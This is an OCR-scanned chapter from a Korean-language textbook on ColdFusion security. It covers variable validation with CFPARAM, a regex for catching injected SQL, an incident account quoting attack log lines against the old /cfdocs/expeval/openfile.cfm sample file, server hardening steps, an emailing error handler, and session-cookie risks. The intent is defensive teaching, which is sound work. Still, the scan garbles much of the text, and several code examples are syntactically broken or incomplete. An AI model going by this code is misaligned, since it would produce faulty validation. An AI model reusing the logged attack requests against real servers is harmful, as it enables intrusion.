(ParameterExistsO 라는 함수는 그리 리용되지 않는다). 

CFPARAM 은 여 러 가지 용도에 쓰이 는 편리한 태 그이다. 그의 기 본적 인 사명은 변 
수가 존재하는가를 검사하고 존재하지 않으면 오유통보를 내는것이다. 그외에도 기정으 
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로는 실제 로 변수를 창조하고 기정 값으로 그것 을 설정하는것 이 다. 그림 10-28 에 있는 코 
드는 ID 의 Url 변수를 넘기는가를 검사하고 넘기지 못하면 오유통보를 내는 코드이다. 


<CFPARAM Name = “ Url . ID ” > 


그림 10-28. URL 변수의 존재에 대한 검사에 리용되는 CFPARAM 


影 


설명 


ColdFusion 에는 변수가 어 데서 설정되 였는가를 보여 주는 유효령역 이 있다. 
이러한 유효령역들에는 Url , Form , CGI 와 그외 프로그람작성자에 의해 설정되는것 
들이 있다. 변수호출에서 이 유효범위를 지적하면 그《위 치》로부터 들어 오는 변 
수들만 보게 되며 존재하지 않으면 실패하게 될것 이 다. 만일 유효범위 가 지적되지 
않았다면 ColdFusion 은 변수를 찾아 내든가 오유가 생길 때까지 유효범위목록을 전 
부 검사한다. 


그림 10-29 에 보여 준 코드는 변수 ID 가 넘겨 졌는가를 검사하고 넘겨 지지 않았다 
면 오유를 발생하는 코드이 다. ID 가 URL 이 나 Form 으로 넘겨 졌다든가 페지상에 설정 
되였다면 문계가 제기되지 않는다. 


<CFPARAM Name = “ ID ” > 


그림 10-29. 변수의 존재를 검사하는데 리용되는 CFPARAM 


그림 10-30 에 보여 준 코드는 변수 ID 가 존재 하는가 존재하지 않는가를 검 사하고 
존재하지 않으면 기정 값 0을 가진 변수를 창조하는 코드이 다. 

이와 동일한 조작은 함수 IsDefinedO 에 의해서도 수행될수 있다. 


〈CFPARAM Name = “ ID ” Default = “0” > 


그림 10-30. 변수의 존재를 검사하는데 리용되는 CFPARAM 


그림 10-31 에 보여 준 코드는 ID 의 URL 변수가 넘겨 졌는가를 검사하고 넘겨 지지 
않았다면 오유를 발생하는 코드이 다. 이것은 수동적 으로 프로그람을 작성 한다는것 을 제 
외 하고는 CFPARAM 을 리용하는것 과 동일 한 효과를 가진다. 지 어 기 정 속성 을 리용한 
CFPARAM 을 반복하여 쓸수도 있다. 
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2. 자료형의 검사 

변수가 존재한다는것을 안 다음 그안의 자료를 검사하려고 할수 있다. 앞에서 
CFQUERY 에 대하여 본것처럼 넘겨진 수만을 요구할 때가 많다. 자료가 수값인가를 검 
사하는것 은 간단한 검 사다. 자료의 존재 에 대 한 검 사에서 와 같이 자료의 형검 사에 는 
CFPARAM 과 ColdFusion 함수들을 리 용하는 두가지 가 있다. 

CFPARAM 은 Type 라는 세가지 속성을 가지고 있다. 형검사는 변수내에 포함되는 
자료가 이러한 형들중의 하나인가를 검사하는것이다. 

• Array 배렬 

• binary 2진파일 

• Boolean Yes / No , True / False , 0八)아닌 값 

• date 임의의 유효한 날자 

• numeric 수 

• query 질 문 

• string 수자를 포함하는 임의의 본문문자렬 

• struct 구조체 

• uuid 유일한 ID 로써 Microsoft 에 의해 리용되는 길이 32 bit 의 16진수문 

자렬 
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그림 10-33 에 보여 준 코드는 ID 라는 변수가 넘겨 졌는가와 그 변수가 수값인가를 
검 사하는 코드이 다. 존재하지 않거 나 존재하여 도 수값이 아니면 오유가 생 긴다. 이것은 
기정속성과 결합할수도 있다. 


<CFPARAM Name = “ ID ” Type = “ Numeric ” > 

그림 10-33. 변수의 존재와 자료의 형을 검사하는 CFPARAM 


그림 10-34 의 코드는 변수 ID 가 존재하는가와 그 변수값이 수값인가를 검사한다. 
존재하지 않으면 값 0을 가진 변수를 창조한다. 


〈CFPARAM name : “ ID ” Default = “0” Type = “ Numeric ” > 


그림 10-34. 변수의 존재 를 검 사하고 자료형 을 기 정 으로 설정하는 CFPARAM 


CFPARAM 으로 할수 있는 똑 같은 일은 ColdFusion 함수로도 할수 있다. 
IsDefined 함수외에도 자료의 타당성 확인검사함수로는 다음의것들이 있다. 

• IsSimpleValueO 값이 문자값이면 true 를 돌려 준다(수값이나 본문).. 

• IsBooleanO 값이 론리형 ( true / false , yes / no , 0/0아닌값)으로 해석되면 true 을 

돌려 준다. 

• IsDataO 값이 자료로 해석되면 true 를 돌려 준다. 

• IsNumeric(string) 값이 수값이면 true 를 돌려 준다. 

• IsNamericData(number) 값이 수값들로 구성된 자료이면 true 을 돌려 준다. 

• IsSimpleValue(value) 값이 본문이나 수값 혹은 그들의 조합으로 된다면 true 을 

돌 린다. 

• IsWDDX(value) 값이 WDDX 본문파케트로 해석되면 true 를 돌려 준다. 

• LSIsCurrency(string) 값이 국제적 인 화페 ( currency ) 값으로 해석되면 0을 돌 

려 준다. 

• LSIsDate(string) 값이 국제적인 날자값으로 해석되면 true 을 돌려 준다. 

• LSIsNumeric(string) 값이 국제적으로 형식화된 수이면 true 을 돌려 준다. 

• IsQueryO 값이 질문값으로 설정되였다면 true 을 돌려 준다. 

• IsBinaryO 값이 2진대상이면 true 을 돌려 준다. 

• IsArrayO 값이 배렬이면 true 을 돌려 준다. 

• IsStructO 값이 구조체 이면 true 을 돌려 준다. 
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이러한 함수들을 리용하면 간단히 CFPARAM 태그를 리용하는것보다 코드가 더 많 
아 지지만 조종은 더 잘할수 있다. 그림 10-35 는 이러한 함수들을 조합하여 ID 의 존재 
에 대 하여 검사하는 코드를 보여 주었다. 이 함수들은 모두 연산수가 하나이 다. 


<CFIF NOT ( IsDefinedI ( l ID , )AND IsNumeric ( ID ))> 

CFABORT Showerror = “The variable ID was either not passed or has a 
value other than a number ”. > 

</ CFIF > 


그림 10-35. CFIF 와 CFIFARAM 대 용함수들을 리용한 검 사 


이것은 그림 10-36 에서 보여 준것과 갈다. 이것은 변수 ID 가 존재하는가를 검사하 
고 존재하지 않으면 오유를 발생 한다. 존재하면 그것 이 수인가를 검 사한다. 수가 아니 면 
다른 오유가 발생되게 된다. 


<CFIF NOT IsDefinecK ‘ ID ’ )> 

<CFABORT Showerror = “The Variable Id was not passed to this template ” > 
<CFELSEIF NOT IsNumeric ( ID )> 

<CFABORT Showerror = “The variable ID has a value other than anumber ” > 
</ CFIF > 


그럼 10-36. 자료의 타당성확인검 사를 위하여 CFIF 와 CFPARAM 
대용함수들을 리용한것 


기 정값을 가지 도록 한것 을 그림 10-37 에 보여 주었 다. 

여 기 에서 당신이 진행한것 은 정의 되지 않은 통보문들을 변수를 설정하는 코드로 바 
꾼것 이 다. CFPARAM 의 정 우에 는 한개 행 이던것 이 여 기서 는 5개의 행 으로 되 였지 만 오 
유통보문들을 더 구체적으로 반영해 줄수 있고 검사를 더 심도 있게 할수 있다. 이것은 
종당에는 자료의 형검사에서 수행되게 된다. 


<CFIF NOT IsDefinedC ‘ ID ，) 

<CFSET ID =0> 

<CFELSEIF NOT IsNumeric ( ID )> 

<CFABORT Showerror = “ The variable ID has a value other than a 
number ” > 

</ CFIF > 


그림 10-37. 자료의 타당성 확인검 사를 위 하여 CFIF 와 CFPARAM 대 용함수들을 
리 용하고 기 정 값을 설 정 한 실 례 
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3. 자료평가 

이 부분은 자료유효성판정의 가장 어렵고 가장 위력한 부분이다. 이 실례들에서 우리 
는 실제로 자료가 변수의 값범위에 포함되는가를 검사한다. 이것은 자료가 지적된 길이로 
되여 있는가 확인하고 지적된 문자가 있는가를 확인하는것이다. 그림 10-38 을 보시오. 


<CFIF NOT IsDefined ( ‘ name ’ )> 

<CFABORT Showerror = “The form field name must be entered . ” > 
cCFELSEIF Len (Trim ( name )) > 

<CFABORT Showerror = “The name passed to the template cannot 
be blank ” 》 

</ CFIF > 


그림 10-38. 자료를 유효하게 리용되는 CFIF 와 함수들 


변수 name 이 존재 하는가에 대 해 검사한 다음 코드는 그것 이 괄호인가 공백 인가를 
검사한다. ColdFusion 함수들에 대하여 많이 알고 있으면 자료가 유효할 때 많은 기능 
을 실현할수 있다. 다음의 코드는 자료기지에 기입된 자료가 유효하지 않으면 오유를 발 
생하는 코드이 다. 

<CFIF REFindNoCase ( ‘ . +； [[: Space：]]*[Select | insert | update | 
delete ]?.*’ ， variable )> 

<CFABORT Showerror = “The variable passed to this page is illegal . ” > 

이것은 좀 더 복잡하다. 우리는 변수가 어떤 패턴을 가지고 있는가를 알아 보는데 
정규식을 리용한다. 그렇게 하면 오유가 발생될것이다. REFindNoCase 함수는 패턴을 
찾지 못하면 0을 돌려 주고 패 턴이 존재하면 0아닌 값을 돌려 준다. 패 턴으로는 

• 임의의 본문 

• 반두점 ( SQL 에 서 본문을 분리 하기 위해 리 용되 는) 

• 알려 진 SQL 지령들 

• 임의의 추가적인 본문들 

이 될수 있 다. 

이것은 변수로 매몰된 두개의 SQL 문을 찾을것이다. MS - SQL 에서 두번째 문은 실 
행될수 있는데 기대했던것과 다른 결과를 발생할수 있다. 이것은 간단한 코드가 아니다. 
왜냐하면 그것이 4개의 중요한 SQL 문만 보기때문이다. 기억된 절차나 다른 코드는 여 
전히 실 행할수 있 다. 
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제 4 절. ColdFusion 의 리용과 관련한 위험 


공격을 받은 ColdFusion 과 다른 싸이트들의 수는 관리 자들과 프로그람작성 자들이 
금뜰수 있다는 단순한 리 유로 하여 대 단히 많다. 자료기지문제 로 하여 싸이 트가 여 러 차 
례 공격되였을 때 비난하던 사람들은 제기된 보안문계에 대해 아무것도 모른는 사람들이 
였 다. 문제 는 응용프로그람작성 과 봉사에 적 용하는 보안덧 대 기 들을 같은것 으로 여 기 는것 
이 다. 프로그람작성자들이나 관리자들 혹은 그들모두는 자기의 행동에 대해 책 임져 야 한 
다. 개별적체험에 대한 실례를 들자. 

Fusebox.org 는 ColdFusion 방법싸이 트이 다. 싸이 트의 소유자는 자기 싸이 트가 공 
격될 때 자리를 뜨고 있었다. 그는 공격자가 어떻게 뚫고 들어 왔는지 모르며 문제를 해 
결하기 위해 노력해 야 할 책 임만을 느꼈다. 그는 앞에서 언급된 호출자료기지보안문제를 
리 용하는 간단한 공격을 썼다. 5 분도 못되 여 그 싸이 트에 로 뚫고 들어가 위험 개소들이 
수리되였다. 다행히도 공격하는 기대를 파손시키지 않았으며 몇개의 파일들을 변화만 시 
켰 다. 

이러한 실례는 몇가지 좋은 경험을 준다. 

첫째로, 싸이 트의 소유자가 자리를 뜰 때 문제를 해결하기 위 해 싸이 트에로 호줄하 
게 하는 사람이 있어야 한다. 

둘째 로，보안을 늦추면 누군가가 득 그것 을 알고 공격하게 된다는것 이 다. 

셋째로, 단순한 공격은 보통 작업을 하는것들이다. 

싸이트의 소유자가 보안을 기본적으로 설치하였다면 공격 자는 처음에 아마 뚫고 들 
어 오지 못할것 이며 따라서 이 문제를 해결하지 않아도 되던가 공격 받은 싸이트를 복구 
하는데 적은 시간을 들일수 있을것이다. 

이 이 야기 에서는 최초의 공격 자가 어떻게 뚫고 들어 왔는가를 기록파일 (log) 이 보여 
주지 못했다. 기록파일을 리용할수 있다면 알려 진 구멍들과 비합법적인 입장시도들을 
조사할수 있었을것 이 다. 전체는 아니지만 대부분 공격들은 여러가지 방법으로 기록파일 
들에 나타난다. 

다음은 더 완전한 실례를 보자. 이 실례는 인터네트에서의 심각한 보안상의 우려 즉 
스크립트 애숭이 (지능이 있고 솜씨 있는 해커들이 아니라 다른 사람들이 쓴 도구들을 리 
용하는 사람들)에 대한 우려를 보여 준다. 한쪽에서는 보안전문가들에 의해 프로그람이 
작성되고 다른쪽에서는 파괴자들이 약점을 찾는 기구로 구멍을 찾아 내려고 한다. 이러 
한 기 구에 는 Rain Forest Puppy 의 whisker (www. wiretrip. net/vfp/2/index. asp) 가 
있는데 이것은 존재하는 모든 구멍들을 아주 교묘하게 다 알아 본다. 

이러한 공격은 CFDOCS 등록부의 파일 (/cfdocs/xpeval/openfile.cfm) 을 공격한다. 
ColdFusion 의 최근의 판본들은 이 파일을 없겠지만 이전 판본들은 그것이 보안구멍으 
로 되여 있었다. 공격에 리용된 파일이였다는것은 기록파일들에 의하여 알아 내였다. 


163.191.177.26 ， 18453, 419, 949, 200, 0, GET, /cfdocs/expeval/ 
openfile.cfm, Mozilla/4.0 (compatible ； MSIE 4.01 ； Windows 98), 
209.198.242.34-491079728.29274582, 
isis-ip.esoterica.pt ， 6/8/99, 12:41:43 ， W3SVC, KENNEDY, 
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163.191.177.26 ， 23922 ， 495 ， 13717 ， 200 ， 0 ， GET, /cfdocs/expeval/ 
expressionevaluator.gif ， Mozilla/4.0 (compatible : MSIE 4.01 ； 

Windows 98), 

http ： //www. ioc. state. iL us/cf docs/expeval/openf ile. cfm, 

209.198.242.34-491079728.29274582, 
isis-ip.esoterica.pt, 6/8/99, 12:42:02 ， W3SVC, KENNEDY, 

163.191.177.26, 44250 ， 3496 ， 439 ， 200, 0, POST, /cfdocs/expeval/ 
DisplayOpenedFile.cfm, Mozilla/4.0 (compatible : MSIE 4.01; Windows 
98), http : / / www. ioc. state. il. us/ cf docs/expeval/openf ile. cfm, 

209.198.242.34-491079728.29274582, 
isis-ip.esoterica.pt, 6/8/99, 12:42:03 ， W3SVC, KENNEDY, 

163.191.177.26, 20656, 578, 1021, 200, 0, GET, /cfdocs/expeval/ 

ExprCalc.cfm, Mozilla/4.0 (compatible ； MSIE 4.01; Windows 98), 
http : / / www. ioc. state. il. us/cf docs/expeval/openf ile. cfm, 

209.198.242.34-491079728.29274582, 

RequestTimeout=2000&OpenFilePath= 

C: 소 INETPUB 소 WWWROOT 소 cfdocs 소 expeval 소 . 소 ml. cfm, 

공격자는 봉사기에 자기의 형판들중의 하나를 올리 적재 하기 위 하여 openf ile. cfm 을 
리용한다. 봉사기에 자기 형판을 놓으면 그 공격자의것으로 된다. 이 실례에서는 공격자 
가 싸이 트의 홈폐 지 와 기 록파일들을 삭제 하기 위 해 (전부가 아닌)봉사기 를 호출한다. 

이러한 공격이 진행되면 체계관리자는 CFDOCS 등록부를 제거하고 다음의 단계를 
수행하게 된다. 

• FTP Access 를 사용할수 없게 한다. 

• Gopher 를 사용할수없게 한다. 

• CFFile 지령을 실행 할수 없게 한다. 

• MDAC2.1 를 갱신한다. 

• 모든 실례 코드， 문서， Web 봉사기로부터의 불필요한 응용프로그람을 삭제한다. 

• Web 봉사기 에 로의 경 로기 공유파일 인 SMB 파일 을 보호한다. 

• 인 터 네 트 정 보봉사기 (information Server) 에 대 한 모든 보안 덧 대 기 들을 적 용 
한다. 

• Telnet 데몬과 같은 외부망봉사를 할수 없게 한다. 

• 암호를 바꾼다. 

체계에 대한 이러한 변화외에도 몇개의 수속적인 변화도 일어 난다. 여기에는 보안 
목록과 관련된 ColdFusion-, NT- 와 IIS 들을 얻 는것 (getting) ， 보안싸이 트들(그리 고 공 
격자/파피자)을 방문하는것，공격자들이 쓰는 도구를 리용하는것들이 포함된다. 

망관리자들이 거기에서 가장 최근의 중요한 공격도구들을 엄어서 달마다 혹은 주마 
다 체계에 그것을 리용한다면 훨씬 더 보안을 강화할것이다. 보안구멍을 퇴치하는것은 
한번의 일로 되는것 이 아니라 계속하여야 할 일이다. 
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1. 오유처리프로그람을 리용 

앞에 서 론의 하였 던 여 러 가지 자료유효성 코드외 에 도 제 품통 (production box ) 에 서 
리 용해 야 하는 중요한 코드부분이 있다. 이것은 표준 ColdFusion 오유처 리 기 를 교체 하 
는것이다. 이것을 리용하는 원인은 경고때문이다. 당신의 통에 대한 공격은 대부분 공격 
이 성공하거나 포기될 때까지 오유로 기록된다. 프로그람작성 자나 관리자들 혹은 그들모 
두는 무엇이 발생하였는가 하는 오유기록들을 대체로 읽어 보지 않는다. 기록파일을 검 
토하지 않으면 가능한 공격들을 알수 없다. 

임의의 봉사기에서 ColdFusion 기록파일들은 cfusion 등록부아래의 log 라는 파일 
(그림 10-39) 에 기록된다. 매 파일들은 기대에서 발생한 오유와 사건들에 대한 정보들을 
포함하고 있다. Log 등록부내의 파일들은 다음과 같다. 

• Exec 기 록파일들은 ColdFusion 봉사기 봉사와 관련 한 문제들을 기록한다. 
ColdFusion 봉사가 기록되든가 봉사기가 체계등록고를 호출할수 없다면 이 정 

보는 cfexec.log 에 기록된다. 

• Rdseservice 기록파일들은 ColdFusion 작성 실에 대 한 파일，오유수정，등록부， 
자료기 지 열 람봉사를 제 공하는 ColdFusionRDS 봉사기 에 서 발생 하는 오유들을 
기록한다. 

• Application 기록파일들은 사용자에게 되돌려 지는 ColdFusion 의 모든 오유들 
을 기 록한다. ColdFusion 문법오유를 포함한 모든 응용프로그람폐 지오유들, 
ODBC 오유들과 SQL 오유들이 이 log 파일에 기록된다. 사용자의 열람기상에서 
현시되는 모든 오유통보문들은 대체로 방문자의 IP 주소와 열람기정보와 함께 
여기에 등록된다. 

• Web Server 기 록파일들은 Web 봉사기 와 ColdFusion stub 에서 발생 하는 오유 
들을 등록한다. 

• Schedule 기록파일들은 실행이 허용된 계획화된 사건들을 기록한다. 과제가 시 
작되여 성공하였는가를 지적한다. 계획화된 페지 URL 과 실행된 날자와 시간, 
파제 ID 를 제공해 준다. 

• Servers 기록파일들은 ColdFusion 봉사기와 당신의 Web 봉사기사이 의 통신에서 
발생하는 오유들을 기 록한다. 이 파일 은 기 본적 으로 Allaire 기 술을 지 원 받는 
사람들을 방조하기 위해 쓰인다. 

• Customtag 기록파일들은 전용화태그를 처리할 때 발생하는 오유들을 등록한다. 

• Remote 망감시 모둘 (Network Listener Module : NLM ) 은 분산된 ColdFusion 
구성과 관련한 여 러 가지 통보문들을 remote , log 파일에 기록한다. 

• Errors 기록파일들은 ColdFusion 응용프로그람들로부터 우편을 전송할 때 발생 
하는 오유들을 기 록한다. Windows 에서 는 Cfusion \ mail \ log 에 기 록되 며 
Solaris 에서는 / opt / ColdFusion / mail/log 에 보관된다. 
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그림 10-39. 등록파일의 위치 


이러한 log 들이 모두 검토되여야 하지만 application 기록파일은 더 엄격히 읽어 보 
아야 한다. 문제는 application 기록파일을 매 일밤 읽어 보아도 늦을수 있다는것 이다. 
공격자는 이미 기대에 접근하였을수 있다. 다른 한편 대부분의 프로그람작성자들이나 관 
리자들은 다 전자우편이 도착한 즉시에 읽어 보게 된다. 싸이트상에서 발생한 오유들이 
등록되여 전자우편으로 보내여 졌다면 그것들을 더 빨리 알아 볼수 있을것이며 오유가 
공격자때문이라면 공격 이 진행되는 동안 처리될수 있다. 

기대전체에 대한 전용화된 오유처리기를 창조하려면 ColdFusion 관리자에서 그것을 
설정할수 있 다(그림 10-40). 



그림 10-40. 전용화된 싸이트광폭오유처리기의 설정 
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봉사기 설 정 부분의 아래 에 site-wide error handler 를 설 정하는 마당이 있 다. 실 례 
로 monitor . cfm 이 라는 형판은 d ：\ htdocs \ monitor . cfm 에 위 치하고 있다. 오유가 발 
생할 때 마다 오유는 CFTRY 八) FCATCH 블로크에 의하여 처 리되는것 이 아니 라 이 형 판 
이 그것을 처리한다. 

_ 

、ᄉ CFTRY 八〕 FCATCH 는 프로그람작성 자가 작성 하는 코드의 블로크를 설 정 하게 

하고 오유가 발생하면 포착부분이 그것 들을 처 리하여 오유를 발생할 대 신 자기 의 연 
산을 수행하게 하는 태 그들이다. 


2. Monitor.cfm 실례 

포착하지 못하는 오유가 발생되는 경우를 고찰해 보자. 그것을 취급하기 위해 싸이 
트관리자에게 전자우편이 전송되였고 하자. Monitor 형판은 두가지 연산을 수행한다(그 
림 10-41). 우선 오유정보를 모두 수집하여 기록파일형 래로 그것을 기록한다. 둘째로 모 
든 정보를 전자우편으로 전송한다. 


<CFSET Delimit=Chr (13) &Chr (10) > 

<CFSET loglocation = “ c :\ cfusion \ log \ monitor , log " > 

<! — Lock the file operation — > 

<cflock timeout = “10” 

throwontimeout = “ Yes ” 
name = “ writelog ” 
type = “ EXCLUSIVE ” > 

<3 — If the log file exists read it in and get the last log id — > 
<CFIF FileExists ( loglocation ) > 

<cffile action = “ READ ” 
file = '^ loglocation #" 
variable : “ log ” > 

<CFSET lastid=ListFirst (ListLast ( log , delimit )) +1> 

< CFELSE > 

<CFSET lastid = l > 

</ CFIF > 

<! — turn the error structure into a WDDX packed for storage — > 
<cfwddx action = “ CFML 2 WDDX ” 
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input = “# error #” 
output = “ packet ” 
usetimezoneinfo = “ Yes ” > 


<! — Write the log — > 

<cffile action = “ APPEND ” 

file = “# loglocation #” 
output = “# lastid #，# packet #” 
addnewline = “ Yes ” > 

</ CFLOCK > 

<! — Send Error message — > 

<cfmail to = “# error . mailto #” 
from = “Error Alert ” 
subject : “ Error : ttError . Type #” 
type = “ HTML ” > 

< dl > 

<! — Loop over Error structure . This is created automatically when an 
error is thrown — > 

<CFLOOP COLLECTION = “# Error #，， ITEM = “ Key ” > 

<CFSET Value = Error [ Key ]> 

<CFIF IsSimpleValue (Error [ Key ]) > 

<! — Display error text — > 

< dt >< B ># Key #</ B > - < dd>#Error [ Key ] # 

<CFELSEIF IsArray ( Error [ Key ])〉 

<! — Display dump of all tags that were executed until 
the error occured . Note that this only covers the 
executed tags , not all that exist . — > 
< dt >< B ># Key #</ B > 

< ol > 

<CFLOOP INDEX = “ i ” FROM = T 
TO = “# ArrayLen ( Error [ Key ])# ” > 

< li > 

<CFLOOP COLLECTION = “# Error [ Key ] [ i ]#，， ITEM = 

“ Key 2” > 

< B ># key 2#</ B > 

- # Error [ Key ] [ i ] [ Key 2]#< BR > 

</ CFLOOP > 
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</ CFLOOP > 

</ ol > 


</ CFIF > 


</ CFLOOP > 

</ DL ></ cfmail > 


그림 10-41. 개선된 오유처리형판 


오유가 발생하면 많은 정보들이 error 라고 하는 구조체로 함께 번역된다. 이러한 정 
보의 대부분은 표준 log 들에는 없다. 그외에도 전용화된 오유처리기를 리용할 때 오유는 
정상적으로 기록 ( logsed ) 되지 않는다. 이로부터 코드는 errror 구조체를 취 하여 WDDX 
본문파케트로 그것을 넘기고 새 log 파일에 그것을 기록한다. 



、, WDDX 는 구조체，배 렬과 같은 복합자료들이나 질문결과모임 혹은 그것들 모 

두를 취하여 XML 파케트로 변환하는 한가지 방법이다. 이 파케트는 그의 구조체와 
자료파케트의 자료모두를 

포괄한다. 그러면 이 본문파케트는 파일로 쓸수 있고 전자우편으로 전송할수 있으며 
인쇄도 할수 있다. 또한 후에 모든 자료를 자료구조체로 역변환할수 있으며 지어 서 
로 다른 언어로도 변환될수 있다. 


그 다음의 조작은 기대관리자에게 전자우편을 전송하는것이다. 전자우편의 본체 
는 오유구조체를 모든 자료로 출력하기 위한 순환을 거처 창조된다. 이것은 문제가 
무엇 인가를 정확히 알수 있게 하는데 리용될수 있는 3패지정도의 정보이 다. 


적의 리용 


제 5 절. 매 대화당 


오늘 인터네트가 인기 있게 된것은 상업환경에서 Web 싸이트의 사용자들을 추적할 
수 있게 되였다는것이다. 많은 체계들에서 이것은 cookie 를 리용하여 진행된다. cookie 
를 리용할 때 결함은 일부 경우에 cookie 들이 공격을 받을수 있고 그 외의 많은 경우에 
성능이 떨어 질수 있다는것 이다. 

ColdFusion 은 사용자를 추적하는데 혼합 ( Hybrid ) 체계를 리용한다. 체계는 사용자 
체계에 전송된 두개의 cookie 들에 의해 시작된다. 첫번째 cookie 는 순번 ( CFID ) 이고 두 
번째는 우연수 ( CFTOKEN ) 이 다. 




ᅮ 아람들만 리 용할수 있는 사용자를 추적할수 있는 간단한 유일 식 별 자 ( UUID ) 를 

리용하기 위한 선택항목도 있다. UUID 는 유일한 번호로서 Microsoft 에 의해 리용 
되는 32개의 16진문자이다. 
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이 두 수들은 모두 ColdFusion 싸이트의 방문자에 대 한 유일한 식 별자를 생성한다. 
이 cookie 들은 CFAPPLICATION 태그를 리용하여 자동적으로 설정될수 있다. 이 태그 
가 한개 형판의 첫 머리 ( top ) 에 포함될 때 이 태그는 형판이 지적한《응용프로그람》 
의 부분으로 되며 응용프로그람에서 이 형판의 자료는 일정한 환경에서 다른 형판과 공 
유될수 있다. 대화조종추적 (session tracking ) 은 이러한 환경들중의 하나이다. 

(?)Mi _ 

응용프로그람의 모든 형판들에서 CFAPPLICATION 태그를 쓸수 있도록 하기 
위 하여 application , cfm 안에 그 태 그를 놓으시 오. 이 형 판은 application , cfm 을 포 
함하지 않는 등록부와 부분등록부내의 모든 형판앞에 동적으로 접속된다. 


CFAPPLICATION 태그는 사용자와 그들의 자료의 련결을 추적하는(우에서 이야기 
한 cookie 들을 리용하여) 서로 다른 두가지 방법을 리용할수 있게 한다. 첫번째는 대화 
조종변수들이고 두번째는 의뢰기변수들이다. CFID 八: FTOKEN 에 련결하여 결국은 사용 
자에 게 련결 되 는 정 보를 보관하는 장소는 두개 이다. 

누군가가 책을 사려고 당신의 싸이트를 방문하는 실례를 들자. 당신은 그들이 싸이 
트에 머무르는 동안 그들이 사려는 책을 조사해 본다. CFAPPLICATION 을 설정 함으로 
써 당신은 사용자에게 련결되여 그들이 요구하는 매 책을 그 사람에게 련결되는 변수의 
순서로 설정할수 있다. 실제 질문은《기억된 변수가 어데 있는가?》이다. 

대화조종변수들에 대한 정보는 콤퓨터의 RAM 에 기억된다. 이것은 방문자가 책을 
순서화하여 책에 대한 정보를 체계의 RAM 에 기억시켜 두고 물건사기를 더 잘할수 있게 
한다는것을 말한다. 사용자가 무엇을 사려고 하는가 하는 정보는 싸이트에 남지 않는다. 
들어 오고 나가는 모든것 은 cookies 와 같은 사용자들의 CFID 와 CFTOKEN 들이다. 사 
용자가 검사되면 정보는 순서화한것을 사용자들에게 보여 주기 위하여 RAM 으로부터 넘 
겨 진다. 이것은 더 효률적이고 더 좋은 보안방법이다. 공격자는 Web 봉사기와 열람기 
사이의 접촉을 알아 내여 cookie 들을 복사하고 어떤 결과가 발생될 사용자의 대화조종 
을 가로채려고 한다. 이 작은 시간창문과 사용자가 나타나는것을 보게 된다는 사실은 이 
러한 조작을 할수 없게 한다. 그외에도 대화조종정보는 기정으로 20분후에 시간을 요구 
할수 있다. 전자상업싸이트는 이 시간을 더 작게 설정할수도 있으며 거 래가 끝나면 곧 
대화조종을 없애 버려야 한다. 

의뢰기변수는 이 변수들이 RAM 에 보관되지 않는다는것을 제외하고는 대화조종변수 
들과 모든 방법에서 갈다. 대신 의뢰기변수들은《물리적》위치에 보관된다. 기정으로는 
이 위 치가 체계등록고이지만 자료기지 나 cookies 에 보관하도록 설정할수 있다(훨씬 많 
은 목적들이 무시될수 있다). 그리 중요하지 않은 차이는 요구시간구간이다. 대화조종정 
보 (session informa 仕 on ) 는 RAM 에 있기때문에 기대가 재시동될 때 정보는 없어 진다. 
의뢰기정보는 물리적위치에 보관되기때문에 여러 날동안 지어 여러 주 혹은 여러 달동안 
존재할수 있다. 이것은 당신이 싸이트에 들어 가서 당신이 누구인가를 인식할 때 
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_ Amazon 이 가지는것과 같은 형태 이다. 당신의 cookie 들로부터 당신의 유일한 식별자를 
jj 읽고 그 자료에 어떤 작용을한것은 당신에게 기억된다. 

이것은 의뢰기변수들에 대한 보안을 좀 약하게 한다. 누군가가 당신의 CFID 와 
&CFTOKEN 를 복사할수 있다면 그들은 당신의 식별자와 그와 관련한 의뢰기정보를 가로 
1 챌수 있다. 이로부터 중요한 정보는 의뢰기변수로 보관하지 않는것이 좋다. 사람의 이름 
€ 과 일부 개인자료들이 그러한것들이다. 그외에 신용카드번호가 그러한 자료로 될수 있다. 
，빼앗기는것외에 상태관리와 관련한 유일한 위험성은 공개시키지 말아야 할 자료들을 로 

、출시키는것 이 다. 필요한것만 보관하면 된다. 

fm 

결 론 




ColdFusion 은 자료기 지의 Web 통합을 쉽게 할수 있도륵 설계된 개 발도구묶음이다. 
ColdFusion 의 특징은 개발자들이 규모를 완전히 갖춘 복잡한 Jave 나 C ++ 와 같은 프로 
그람언 어 들과 달리 Web 통합자료기 지 를 쉽 게 생 성할수 있게 하는 ColdFusion 작성언 어 
(ColdFusion Makeup Language : CFML ) 를 가진다는것 이다. ColdFusion 에 대 한 인기 
중의 하나가 그의 수량화이 다. 즉 ColdFusion 은 당신의 단체 ( organization ) 와 함께 발 
전하게 된다. 그것은 또한 전자상업개발을 위한 중요한 요구를 받아 들일수 있게 특별히 
설계 되였다. 

ColdFusion 은 보안응용프로그람이 며 언어 이 다. ColdFusion 에 존재 하는 대부분의 
보안구멍들은 개발자가 쓰는 비보안코드나 ColdFusion 이 작업하고 있는 응용프로그람 
들에서 생긴다. 보안이 완전히 잘되도록 하려면 개발자들은 ColdFusion 부분의 표준코 
드작성규칙에 잘 맞게 코드를 작성해 야 한다. 즉 개 발자들은 다른 사람들로부터 보안코 
드만 접수하고 그들이 리용하고 있는 련관응용프로그람 (Web 봉사기，자료기지 등)이 보 
안이 되였는가를 검사할 필요가 있다. 

ColdFusion 이 보안이 되여 있고 개발자가 자기 코드가 보안되여 있다고 생각하여 
도 보안에 대하여 잘 믿을수 없다고 근심하는 프로그람작성자는 의심증으로 하여 오히 려 
낮은 준위의 보안을 가지게 될수도 있다. 당신은 자신이 공격자라고 생각하고 당신의 응 
용프로그람을 호출한 다음 무엇을 하겠는지를 추측하여야 한다. 당신이 스스로가 공격자 
라고 생각하고 그것을 믿을수 있는지 검사해 보시오. 또한 당신의 코드를 심사해 보시오. 
당신이 자기의 코드와 다른것들이 만족하다고 생각한다고 하여도 걱정은 계속된다. 보안 
은 결코 끝이 있는 싸움이 아니다. 해킹싸이트를 방문하여 새 소식그룹 ( newsgroups ) 을 
읽 어 보고 판매 자들로부터 가장 최근의 문제점들을 보관해 두시 오. 

모든 개 발도구들에 포함된 모든 기능들을 리해하지 못한 상태에서 작성한 코드를 
검 토하고 심사하는데 시 간을 들이지 않고서 는 보안이 잘된것 이 라고 하지 마시 오. 
ColdFusion 은 보안개발을 할 필요가 있는 개 발자들에게 모든것을 제공해 주지만 개 


발자들의 응용프로그람이 얼마나 보안이 잘되였는가 하는 문제는 개발자들에게 달려 
있 다. 

요 약 



1. ColdFusion 의 동작 


